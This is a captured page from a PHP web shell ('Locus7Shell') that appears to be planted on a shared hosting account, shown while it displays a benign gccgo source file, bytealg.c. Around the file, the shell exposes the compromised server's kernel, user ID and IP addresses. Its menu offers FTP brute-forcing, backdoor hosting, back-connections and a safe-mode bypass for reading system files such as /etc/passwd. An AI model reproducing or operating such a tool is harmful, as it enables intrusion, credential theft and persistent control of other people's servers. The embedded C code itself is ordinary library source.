Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/libgo/go/internal/bytealg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     bytealg.c (2.6 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* bytealg.c -- gccgo implementations of bytealg functions

   Copyright 2018 The Go Authors. All rights reserved.
   Use of this source code is governed by a BSD-style
   license that can be found in the LICENSE file.  */

#include <stddef.h>
#include <string.h>

#include "runtime.h"
#include "array.h"

#ifndef HAVE_MEMMEM

#define memmem goMemmem

static const void *goMemmem(const void *in, size_t inl, const void *s, size_t sl) {
    const char *p;
    char first;
    const char *stop;

    if (sl == 0) {
        return in;
    }
    if (inl < sl) {
        return nil;
    }
    first = *(const char *)(s);
    stop = (const char *)(in) + (inl - sl);
    for (p = (const char *)(in); p <= stop; p++) {
        if (*p == first && __builtin_memcmp(p + 1, (const char *)(s) + 1, sl - 1) == 0) {
            return (const void *)(p);
        }
    }
    return nil;
}

#endif

intgo Compare(struct __go_open_array, struct __go_open_array)
  __asm__(GOSYM_PREFIX "internal_1bytealg.Compare")
  __attribute__((no_split_stack));

intgo Compare(struct __go_open_array a, struct __go_open_array b)
{
    intgo l;

    l = a.__count;
    if (b.__count < l) {
        l = b.__count;
    }
    if (l > 0 && a.__values != b.__values) {
        int i;

        i = __builtin_memcmp(a.__values, b.__values, (size_t)(l));
        if (i < 0) {
            return -1;
        } else if (i > 0) {
            return 1;
        }
    }
    if (a.__count < b.__count) {
        return -1;
    }
    if (a.__count > b.__count) {
        return +1;
    }
    return 0;
}

intgo IndexByte(struct __go_open_array, byte)
  __asm__(GOSYM_PREFIX "internal_1bytealg.IndexByte")
  __attribute__((no_split_stack));

intgo IndexByte(struct __go_open_array b, byte c)
{
    const byte *p;

    p = __builtin_memchr(b.__values, c, (size_t)(b.__count));
    if (p == nil) {
        return -1;
    }
    return p - (byte *)(b.__values);
}


intgo IndexByteString(String, byte)
  __asm__(GOSYM_PREFIX "internal_1bytealg.IndexByteString")
  __attribute__((no_split_stack));

intgo IndexByteString(String s, byte c)
{
    const byte *p;

    p = __builtin_memchr(s.str, c, (size_t)(s.len));
    if (p == nil) {
        return -1;
    }
    return p - s.str;
}

intgo Index(struct __go_open_array, struct __go_open_array)
  __asm__(GOSYM_PREFIX "internal_1bytealg.Index")
  __attribute__((no_split_stack));

intgo Index(struct __go_open_array a, struct __go_open_array b)
{
    const byte* p;

    p = memmem(a.__values, a.__count, b.__values, b.__count);
    if (p == nil) {
        return -1;
    }
    return p - (const byte*)(a.__values);
}

intgo IndexString(String, String)
  __asm__(GOSYM_PREFIX "internal_1bytealg.IndexString")
  __attribute__((no_split_stack));

intgo IndexString(String a, String b)
{
    const byte* p;

    p = memmem(a.str, a.len, b.str, b.len);
    if (p == nil) {
        return -1;
    }
    return p - a.str;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]--